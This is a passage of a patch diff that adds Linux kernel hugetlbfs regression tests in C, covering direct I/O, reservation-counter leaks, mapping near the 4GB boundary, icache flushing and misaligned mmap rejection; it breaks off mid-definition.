+static void cleanup(void) +{ + per_iteration_cleanup(); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .save_restore = (const struct tst_path_val[]) { + {PATH_OC_HPAGES, NULL}, + {PATH_NR_HPAGES, NULL}, + {} + }, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {3, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap11.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap11.c new file mode 100644 index 00000000..496a814b --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap11.c @@ -0,0 +1,86 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * This Test perform Direct Write/Read from/To hugetlbfs file + * which is mapped to process address space. The test is checking if it + * succeeds and data written or read is not corrupted. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "hugetlb.h" + +#define P0 "ffffffff" +#define IOSZ 4096 +#define NORMAL_PATH "" +#define MNTPOINT "hugetlbfs/" + +static long hpage_size; +static int fd = -1, nfd = -1; + +static void run_test(void) +{ + void *p; + char buf[IOSZ] __attribute__((aligned(IOSZ))); + + fd = tst_creat_unlinked(MNTPOINT, 0); + nfd = tst_creat_unlinked(NORMAL_PATH, O_DIRECT); + p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); + memcpy(p, P0, 8); + + SAFE_WRITE(1, nfd, p, IOSZ); + SAFE_LSEEK(nfd, 0, SEEK_SET); + + SAFE_READ(1, nfd, buf, IOSZ); + if (memcmp(P0, buf, 8)) { + tst_res(TFAIL, "Memory mismatch after Direct-IO write"); + goto cleanup; + } + SAFE_LSEEK(nfd, 0, SEEK_SET); + + memset(p, 0, IOSZ); + SAFE_READ(1, nfd, p, IOSZ); + + if (memcmp(p, P0, 8)) + tst_res(TFAIL, "Memory mismatch after Direct-IO read"); + else + tst_res(TPASS, "Direct-IO read/write to/from hugepages is successful"); +cleanup: + SAFE_MUNMAP(p, hpage_size); + SAFE_CLOSE(fd); + SAFE_CLOSE(nfd); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SIZE)*1024; +} + +static void cleanup(void) +{ + if (fd > 0) + SAFE_CLOSE(fd); + if (nfd > 0) + SAFE_CLOSE(nfd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {1, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap12.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap12.c new file mode 100644 index 00000000..81367c51 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap12.c @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 IBM Corporation. + * Author: Mel Gorman + */ + +/*\ + * [Description] + * + * fadvise() on some kernels can cause the reservation counter to get + * corrupted. The problem is that the patches are allocated for the + * reservation but not faulted in at the time of allocation. The counters + * do not get updated and effectively "leak". This test identifies whether + * the kernel is vulnerable to the problem or not. It's fixed in kernel + * by commit f2deae9d4e70793568ef9e85d227abb7bef5b622. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" +static long hpage_size; +static int fd = -1; + +static void run_test(void) +{ + void *p; + unsigned long initial_rsvd, map_rsvd, fadvise_rsvd, end_rsvd; + + fd = tst_creat_unlinked(MNTPOINT, 0); + + initial_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + tst_res(TINFO, "Reserve count before map: %lu", initial_rsvd); + + p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, + fd, 0); + map_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + tst_res(TINFO, "Reserve count after map: %lu", map_rsvd); + + SAFE_POSIX_FADVISE(fd, 0, hpage_size, POSIX_FADV_WILLNEED); + fadvise_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + tst_res(TINFO, "Reserve count after fadvise: %lu", fadvise_rsvd); + + memset(p, 1, hpage_size); + + SAFE_MUNMAP(p, hpage_size); + SAFE_CLOSE(fd); + end_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + tst_res(TINFO, "Reserve count after close: %lu", end_rsvd); + + TST_EXP_EQ_LU(end_rsvd, initial_rsvd); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SIZE)*1024; +} + +static void cleanup(void) +{ + if (fd > 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tags = (struct tst_tag[]) { + {"linux-git", "f2deae9d4e70"}, + {} + }, + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {1, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap13.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap13.c new file mode 100644 index 00000000..f8c36640 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap13.c @@ -0,0 +1,126 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * On some old ppc64 kernel, when hpage is mmaped on 32 bit boundary and + * normal page below it, it triggers the bug caused by off-by-one error. + * + * WARNING: The offsets and addresses used within are specifically + * calculated to trigger the bug as it existed. Don't mess with them + * unless you *really* know what you're doing. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "hugetlb.h" + +#define FOURGB (1ULL << 32) +#define MNTPOINT "hugetlbfs/" +static int fd = -1; +static unsigned long hpage_size; +static int page_size; + +static void run_test(void) +{ + void *p, *q = NULL; + unsigned long long lowaddr; + unsigned long long below_start; + unsigned long long above_end; + + p = mmap((void *)FOURGB, hpage_size, PROT_READ|PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, 0); + if (p == MAP_FAILED) { + /* slice 0 (high) spans from 4G-1T */ + below_start = FOURGB; + above_end = 1024ULL*1024*1024*1024; + + if (range_is_mapped(below_start, above_end) == 1) { + tst_res(TINFO|TERRNO, "region 4G-IT is not free & " + "mmap() failed expected"); + tst_res(TPASS, "Successful but inconclusive"); + } else + tst_res(TFAIL|TERRNO, "mmap() huge failed unexpected"); + goto cleanup; + } + if (p != (void *)FOURGB) { + tst_res(TFAIL, "Wrong address with MAP_FIXED huge"); + goto cleanup; + } + + tst_res(TINFO, "Mapped hugetlb at %p", p); + + memset(p, 0, hpage_size); + + /* Test just below 4GB to check for off-by-one errors */ + lowaddr = FOURGB - page_size; + q = mmap((void *)lowaddr, page_size, PROT_READ|PROT_WRITE, + MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, 0, 0); + if (q == MAP_FAILED) { + below_start = FOURGB - page_size; + above_end = FOURGB; + + if (range_is_mapped(below_start, above_end) == 1) { + tst_res(TINFO|TERRNO, "region (4G-page)-4G is not free & " + "mmap() failed expected"); + tst_res(TPASS, "Successful but inconclusive"); + } else + tst_res(TFAIL|TERRNO, "mmap() normal failed unexpected"); + goto cleanup; + } + if (q != (void *)lowaddr) { + tst_res(TFAIL, "Wrong address with MAP_FIXED normal"); + goto cleanup; + } + + memset(q, 0, page_size); + tst_res(TPASS, "Successful"); + +cleanup: + if (p && p != MAP_FAILED) + SAFE_MUNMAP(p, hpage_size); + if (q && q != MAP_FAILED) + SAFE_MUNMAP(q, page_size); +} + +static void setup(void) +{ + page_size = getpagesize(); + hpage_size = SAFE_READ_MEMINFO("Hugepagesize:")*1024; + + if (sizeof(void *) <= 4) + tst_brk(TCONF, "Machine must be >32 bit"); + if (hpage_size > FOURGB) + tst_brk(TCONF, "Huge page size is too large"); + fd = tst_creat_unlinked(MNTPOINT, 0); +} + +static void cleanup(void) +{ + if (fd > 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tags = (struct tst_tag[]) { + {"linux-git", "9a94c5793a7b"}, + {} + }, + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {2, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap14.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap14.c new file mode 100644 index 00000000..c54a746b --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap14.c @@ -0,0 +1,159 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * On some old ppc64 kernel, when huge page is mapped at below touching + * 32 bit boundary (4GB - hpage_size), and normal page is mmaped + * at just above it, it triggers a bug caused by off-by-one error. + * + * WARNING: The offsets and addresses used within are specifically + * calculated to trigger the bug as it existed. Don't mess with them + * unless you *really* know what you're doing. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "hugetlb.h" + +#define FOURGB (1ULL << 32) +#define MNTPOINT "hugetlbfs/" +static int fd = -1; +static unsigned long long hpage_size; +static int page_size; + +static void run_test(void) +{ + void *p, *q = NULL, *r = NULL; + unsigned long long lowaddr, highaddr; + unsigned long long below_start; + unsigned long long above_end; + + /* + * We use a low address right below 4GB so we can test for + * off-by-one errors + */ + lowaddr = FOURGB - hpage_size; + tst_res(TINFO, "Mapping hugepage at %llx...", lowaddr); + p = mmap((void *)lowaddr, hpage_size, PROT_READ|PROT_WRITE, + MAP_SHARED|MAP_FIXED, fd, 0); + if (p == MAP_FAILED) { + /* This is last low slice - 256M just before 4G */ + below_start = FOURGB - 256ULL*1024*1024; + above_end = FOURGB; + + if (range_is_mapped(below_start, above_end) == 1) { + tst_res(TINFO|TERRNO, "region (4G-256M)-4G is not free & " + "mmap() failed expected"); + tst_res(TPASS, "Successful but inconclusive"); + } else + tst_res(TFAIL|TERRNO, "mmap() huge failed unexpected"); + goto cleanup; + } + if (p != (void *)lowaddr) { + tst_res(TFAIL, "Wrong address with MAP_FIXED huge"); + goto cleanup; + } + memset(p, 0, hpage_size); + + /* Test for off by one errors */ + highaddr = FOURGB; + tst_res(TINFO, "Mapping normal page at %llx...", highaddr); + q = mmap((void *)highaddr, page_size, PROT_READ|PROT_WRITE, + MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, 0, 0); + if (q == MAP_FAILED) { + below_start = FOURGB; + above_end = FOURGB + page_size; + + if (range_is_mapped(below_start, above_end) == 1) { + tst_res(TINFO|TERRNO, "region 4G-(4G+page) is not free & " + "mmap() failed expected"); + tst_res(TPASS, "Successful but inconclusive"); + } else + tst_res(TFAIL|TERRNO, "mmap() normal 1 failed unexpected"); + goto cleanup; + } + if (q != (void *)highaddr) { + tst_res(TFAIL, "Wrong address with MAP_FIXED normal 1"); + goto cleanup; + } + memset(q, 0, page_size); + + /* + * Why this address? Well on ppc64, we're working with 256MB + * segment numbers, hence >>28. In practice the shift + * instructions only start wrapping around with shifts 128 or + * greater. + */ + highaddr = ((lowaddr >> 28) + 128) << 28; + tst_res(TINFO, "Mapping normal page at %llx...", highaddr); + r = mmap((void *)highaddr, page_size, PROT_READ|PROT_WRITE, + MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, 0, 0); + if (r == MAP_FAILED) { + below_start = highaddr; + above_end = highaddr + page_size; + + if (range_is_mapped(below_start, above_end) == 1) { + tst_res(TINFO|TERRNO, "region haddr-(haddr+page) not free & " + "mmap() failed unexpected"); + tst_res(TPASS, "Successful but inconclusive"); + } + tst_res(TFAIL|TERRNO, "mmap() normal 2 failed unexpected"); + goto cleanup; + } + if (r != (void *)highaddr) { + tst_res(TFAIL, "Wrong address with MAP_FIXED normal 2"); + goto cleanup; + } + memset(r, 0, page_size); + tst_res(TPASS, "Successful"); + +cleanup: + if (p && p != MAP_FAILED) + SAFE_MUNMAP(p, hpage_size); + if (q && q != MAP_FAILED) + SAFE_MUNMAP(q, page_size); + if (r && r != MAP_FAILED) + SAFE_MUNMAP(r, page_size); +} + +static void setup(void) +{ + page_size = getpagesize(); + hpage_size = SAFE_READ_MEMINFO("Hugepagesize:")*1024; + + if (sizeof(void *) <= 4) + tst_brk(TCONF, "Machine must be >32 bit"); + if (hpage_size > FOURGB) + tst_brk(TCONF, "Huge page size is too large"); + fd = tst_creat_unlinked(MNTPOINT, 0); +} + +static void cleanup(void) +{ + if (fd > 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tags = (struct tst_tag[]) { + {"linux-git", "9a94c5793a7b"}, + {} + }, + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {2, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c new file mode 100644 index 00000000..4d198407 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c @@ -0,0 +1,245 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation. + * Copyright (c) Linux Test Project, 2022-2023 + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * Older ppc64 kernels don't properly flush dcache to icache before + * giving a cleared page to userspace. With some exceedingly + * hairy code, this attempts to test for this bug. + * + * This test will never trigger (obviously) on machines with coherent + * icache and dcache (including x86 and POWER5). On any given run, + * even on a buggy kernel there's a chance the bug won't trigger - + * either because we don't get the same physical page back when we + * remap, or because the icache happens to get flushed in the interim. + */ + +#if defined(__clang__) + #pragma clang optimize off +#endif + +#define _GNU_SOURCE +#include "hugetlb.h" + +#if defined(__powerpc__) || defined(__powerpc64__) || defined(__ia64__) || \ + defined(__s390__) || defined(__s390x__) || defined(__sparc__) || \ + defined(__aarch64__) || (defined(__riscv) && __riscv_xlen == 64) || \ + defined(__i386__) || defined(__x86_64__) || defined(__arm__) + +#include + +#define SUCC_JMP 1 +#define FAIL_JMP 2 +#define COPY_SIZE 128 + +/* Seems to be enough to trigger reliably */ +#define NUM_REPETITIONS 64 +#define MNTPOINT "hugetlbfs/" +static long hpage_size; +static int fd = -1; + +static void cacheflush(void *p) +{ +#if defined(__powerpc__) + asm volatile("dcbst 0,%0; sync; icbi 0,%0; isync" : : "r"(p)); +#elif defined(__arm__) || defined(__aarch64__) + __clear_cache(p, p + COPY_SIZE); +#else + (void)p; +#endif +} + +static void jumpfunc(int copy, void *p) +{ + /* + * gcc bug workaround: if there is exactly one &&label + * construct in the function, gcc assumes the computed goto + * goes there, leading to the complete elision of the goto in + * this case + */ + void *l = &&dummy; + + l = &&jumplabel; + + if (copy) { + memcpy(p, l, COPY_SIZE); + cacheflush(p); + } + + goto *p; + dummy: + tst_res(TWARN, "unreachable?"); + + jumplabel: + return; +} + +static sigjmp_buf sig_escape; +static void *sig_expected; + +static void sig_handler(int signum, siginfo_t *si, void *uc) +{ +#if defined(__powerpc__) || defined(__powerpc64__) || defined(__ia64__) || \ + defined(__s390__) || defined(__s390x__) || defined(__sparc__) || \ + defined(__aarch64__) || (defined(__riscv) && __riscv_xlen == 64) + /* On powerpc, ia64, s390 and Aarch64, 0 bytes are an illegal + * instruction, so, if the icache is cleared properly, we SIGILL + * as soon as we jump into the cleared page + */ + if (signum == SIGILL) { + tst_res(TINFO, "SIGILL at %p (sig_expected=%p)", si->si_addr, + sig_expected); + if (si->si_addr == sig_expected) + siglongjmp(sig_escape, SUCC_JMP); + siglongjmp(sig_escape, FAIL_JMP + SIGILL); + } +#elif defined(__i386__) || defined(__x86_64__) || defined(__arm__) + /* On x86, zero bytes form a valid instruction: + * add %al,(%eax) (i386) + * or add %al,(%rax) (x86_64) + * + * So, behaviour depends on the contents of [ER]AX, which in + * turn depends on the details of code generation. If [ER]AX + * contains a valid pointer, we will execute the instruction + * repeatedly until we run off that hugepage and get a SIGBUS + * on the second, truncated page. If [ER]AX does not contain + * a valid pointer, we will SEGV on the first instruction in + * the cleared page. We check for both possibilities + * below. + * + * On 32 bit ARM, zero bytes are interpreted as follows: + * andeq r0, r0, r0 (ARM state, 4 bytes) + * movs r0, r0 (Thumb state, 2 bytes) + * + * So, we only expect to run off the end of the huge page and + * generate a SIGBUS. + */ + if (signum == SIGBUS) { + tst_res(TINFO, "SIGBUS at %p (sig_expected=%p)", si->si_addr, + sig_expected); + if (sig_expected + && (PALIGN(sig_expected, hpage_size) + == si->si_addr)) { + siglongjmp(sig_escape, SUCC_JMP); + } + siglongjmp(sig_escape, FAIL_JMP + SIGBUS); + } +#if defined(__x86_64__) || defined(__i386__) + if (signum == SIGSEGV) { +#ifdef __x86_64__ + void *pc = (void *)((ucontext_t *)uc)->uc_mcontext.gregs[REG_RIP]; +#else + void *pc = (void *)((ucontext_t *)uc)->uc_mcontext.gregs[REG_EIP]; +#endif + tst_res(TINFO, "SIGSEGV at %p, PC=%p (sig_expected=%p)", + si->si_addr, pc, sig_expected); + if (sig_expected == pc) + siglongjmp(sig_escape, SUCC_JMP); + siglongjmp(sig_escape, FAIL_JMP + SIGSEGV); + } +#endif +#endif +} + +static int test_once(int fd) +{ + void *p, *q; + + SAFE_FTRUNCATE(fd, 0); + + switch (sigsetjmp(sig_escape, 1)) { + case SUCC_JMP: + sig_expected = NULL; + SAFE_FTRUNCATE(fd, 0); + return 0; + case FAIL_JMP + SIGILL: + tst_res(TFAIL, "SIGILL somewhere unexpected"); + return -1; + case FAIL_JMP + SIGBUS: + tst_res(TFAIL, "SIGBUS somewhere unexpected"); + return -1; + case FAIL_JMP + SIGSEGV: + tst_res(TFAIL, "SIGSEGV somewhere unexpected"); + return -1; + default: + break; + } + p = SAFE_MMAP(NULL, 2*hpage_size, PROT_READ|PROT_WRITE|PROT_EXEC, + MAP_SHARED, fd, 0); + + SAFE_FTRUNCATE(fd, hpage_size); + + q = p + hpage_size - COPY_SIZE; + + jumpfunc(1, q); + + SAFE_FTRUNCATE(fd, 0); + p = SAFE_MMAP(p, hpage_size, PROT_READ|PROT_WRITE|PROT_EXEC, + MAP_SHARED|MAP_FIXED, fd, 0); + + q = p + hpage_size - COPY_SIZE; + sig_expected = q; + + jumpfunc(0, q); /* This should blow up */ + + tst_res(TFAIL, "icache unclean"); + return -1; +} + +static void run_test(void) +{ + int i; + + struct sigaction sa = { + .sa_sigaction = sig_handler, + .sa_flags = SA_SIGINFO, + }; + + SAFE_SIGACTION(SIGILL, &sa, NULL); + SAFE_SIGACTION(SIGBUS, &sa, NULL); + SAFE_SIGACTION(SIGSEGV, &sa, NULL); + + fd = tst_creat_unlinked(MNTPOINT, 0); + + for (i = 0; i < NUM_REPETITIONS; i++) + if (test_once(fd)) + goto cleanup; + + tst_res(TPASS, "Successfully tested dcache to icache flush"); +cleanup: + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO("Hugepagesize:")*1024; +} + +static void cleanup(void) +{ + if (fd > 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tags = (struct tst_tag[]) { + {"linux-git", "cbf52afdc0eb"}, + {} + }, + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {3, TST_NEEDS}, +}; +#else + TST_TEST_TCONF("Signal handler for this architecture hasn't been written"); +#endif diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap16.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap16.c new file mode 100644 index 00000000..2003e701 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap16.c @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 IBM Corporation. + * Author: Eric B Munson and Mel Gorman + */ + +/*\ + * [Description] + * + * madvise() on some kernels can cause the reservation counter to get + * corrupted. The problem is that the patches are allocated + * for the reservation but not faulted in at the time of allocation. The + * counters do not get updated and effectively "leak". This test + * identifies whether the kernel is vulnerable to the problem or not. + * It is fixed in kernel by commit f2deae9d4e70 + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" +static int fd = -1; +static long hpage_size; + +static void run_test(void) +{ + void *p; + unsigned long initial_rsvd, map_rsvd, madvise_rsvd, end_rsvd; + + fd = tst_creat_unlinked(MNTPOINT, 0); + + initial_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + tst_res(TINFO, "Reserve count before map: %lu", initial_rsvd); + + p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, + fd, 0); + map_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + tst_res(TINFO, "Reserve count after map: %lu", map_rsvd); + + if (madvise(p, hpage_size, MADV_WILLNEED) == -1) + tst_brk(TBROK|TERRNO, "madvise()"); + madvise_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + tst_res(TINFO, "Reserve count after madvise: %lu", madvise_rsvd); + + SAFE_MUNMAP(p, hpage_size); + SAFE_CLOSE(fd); + end_rsvd = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + tst_res(TINFO, "Reserve count after close(): %lu", end_rsvd); + + TST_EXP_EQ_LU(end_rsvd, initial_rsvd); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO("Hugepagesize:")*1024; +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tags = (struct tst_tag[]) { + {"linux-git", "f2deae9d4e70"}, + {} + }, + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {1, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap17.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap17.c new file mode 100644 index 00000000..b8105bbf --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap17.c @@ -0,0 +1,103 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Descriptiom] + * + * At one stage, a misconversion of hugetlb_vmtruncate_list to a prio_tree + * meant that on 32-bit machines, certain combinations of mapping and + * truncations could truncate incorrect pages, or overwrite pmds from + * other VMAs, triggering BUG_ON()s or other wierdness. + * + * Test adapted from an example by Kenneth Chen + * + * WARNING: The offsets and addresses used within are specifically + * calculated to trigger the bug as it existed. Don't mess with them + * unless you *really* know what you're doing. + * + * The kernel bug in question was fixed with commit + * 856fc2950555. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" +#define MAP_LENGTH (4UL * hpage_size) +#if defined(__s390__) && __WORDSIZE == 32 +#define TRUNCATE_POINT 0x20000000UL +#else +#define TRUNCATE_POINT 0x60000000UL +#endif +#define HIGH_ADDR 0xa0000000UL +#define FOURGIG ((off64_t)0x100000000ULL) + +static unsigned long hpage_size; +static int fd = -1; + +static void run_test(void) +{ + char *p, *q; + unsigned long i; + + p = SAFE_MMAP(0, MAP_LENGTH + TRUNCATE_POINT, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_NORESERVE, fd, 0); + + SAFE_MUNMAP(p, MAP_LENGTH + TRUNCATE_POINT); + + q = SAFE_MMAP((void *)HIGH_ADDR, MAP_LENGTH, PROT_READ | PROT_WRITE, + MAP_PRIVATE, fd, 0); + tst_res(TINFO, "High map at %p", q); + + for (i = 0; i < MAP_LENGTH; i += hpage_size) + q[i] = 1; + + SAFE_FTRUNCATE(fd, TRUNCATE_POINT); + + if (q[0] != 1) + tst_res(TFAIL, "data mismatch"); + else + tst_res(TPASS, "Successful"); + + SAFE_MUNMAP(q, MAP_LENGTH); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO("Hugepagesize:")*1024; + + if (hpage_size > TRUNCATE_POINT) + tst_brk(TCONF, "Huge page size is too large"); + if (TRUNCATE_POINT % hpage_size) + tst_brk(TCONF, "Truncation point is not aligned to huge page size"); + fd = tst_creat_unlinked(MNTPOINT, 0); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tags = (struct tst_tag[]) { + {"linux-git", "856fc2950555"}, + {} + }, + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {4, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap18.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap18.c new file mode 100644 index 00000000..60707293 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap18.c @@ -0,0 +1,153 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2007 David Gibson & Adam Litke, IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * Just as normal mmap()s can't have an address, length or offset which + * is not page aligned, so hugepage mmap()s can't have an address, length + * or offset with is not hugepage aligned. + * + * However, from time to time when the various mmap() / + * get_unmapped_area() paths are updated, somebody misses one of the + * necessary checks for the hugepage paths. This testcase ensures + * that attempted hugepage mappings with parameters which are not + * correctly hugepage aligned are rejected. + * + * However starting with 3.10-rc1, length passed in mmap() doesn't need + * to be aligned because commit af73e4d9506d3b797509f3c030e7dcd554f7d9c4 + * added ALIGN() to kernel side, in mmap_pgoff(), when mapping huge page + * files. + */ + +#define _GNU_SOURCE +#include +#include +#include + +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" +static long hpage_size; +static int fd = -1; +static long page_size; + +static void run_test(void) +{ + void *p, *q; + + /* + * First see what an ok mapping looks like, as a basis for our + * bad addresses and so forth + */ + p = mmap(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); + if (p == MAP_FAILED) { + tst_res(TFAIL|TERRNO, "mmap() without hint failed"); + return; + } + if (((unsigned long)p % hpage_size) != 0) { + tst_res(TFAIL, "mmap() without hint at misaligned address"); + goto cleanup1; + } + + tst_res(TINFO, "Mapped at %p, length 0x%lx", p, hpage_size); + + SAFE_MUNMAP(p, hpage_size); + + /* 1) Try a misaligned hint address */ + q = mmap(p + page_size, hpage_size, PROT_READ|PROT_WRITE, + MAP_PRIVATE, fd, 0); + if (q == MAP_FAILED) { + /* Bad hint shouldn't fail, just ignore the hint */ + tst_res(TFAIL|TERRNO, "mmap() with hint failed"); + return; + } + if (((unsigned long)q % hpage_size) != 0) { + tst_res(TFAIL, "mmap() with hint at misaligned address"); + goto cleanup2; + } + SAFE_MUNMAP(q, hpage_size); + + /* 2) Try a misaligned address with MAP_FIXED */ + q = mmap(p + page_size, hpage_size, PROT_READ|PROT_WRITE, + MAP_PRIVATE|MAP_FIXED, fd, 0); + if (q != MAP_FAILED) { + tst_res(TFAIL, "mmap() MAP_FIXED at misaligned address succeeded"); + goto cleanup2; + } + + /* 3) Try a misaligned length */ + q = mmap(NULL, page_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); + if (q == MAP_FAILED) { + tst_res(TFAIL, "mmap() with misaligned length 0x%lx failed", + page_size); + return; + } + SAFE_MUNMAP(q, hpage_size); + + /* 4) Try a misaligned length with MAP_FIXED */ + q = mmap(p, page_size, PROT_READ|PROT_WRITE, + MAP_PRIVATE|MAP_FIXED, fd, 0); + if (q == MAP_FAILED) { + tst_res(TFAIL, "mmap() MAP_FIXED with misaligned length 0x%lx " + "failed", page_size); + return; + } + SAFE_MUNMAP(q, hpage_size); + + /* 5) Try a misaligned offset */ + q = mmap(NULL, hpage_size, PROT_READ|PROT_WRITE, + MAP_PRIVATE, fd, page_size); + if (q != MAP_FAILED) { + tst_res(TFAIL, "mmap() with misaligned offset 0x%lx succeeded", + page_size); + goto cleanup2; + } + + /* 6) Try a misaligned offset with MAP_FIXED*/ + q = mmap(p, hpage_size, PROT_READ|PROT_WRITE, + MAP_PRIVATE|MAP_FIXED, fd, page_size); + if (q != MAP_FAILED) { + tst_res(TFAIL, "mmap() MAP_FIXED with misaligned offset 0x%lx succeeded", + page_size); + goto cleanup2; + } + + tst_res(TPASS, "mmap worked as expected with misaligned addr and length"); + return; +cleanup2: + SAFE_MUNMAP(q, hpage_size); + return; +cleanup1: + SAFE_MUNMAP(p, hpage_size); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO("Hugepagesize:")*1024; + page_size = getpagesize(); + fd = tst_creat_unlinked(MNTPOINT, 0); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tags = 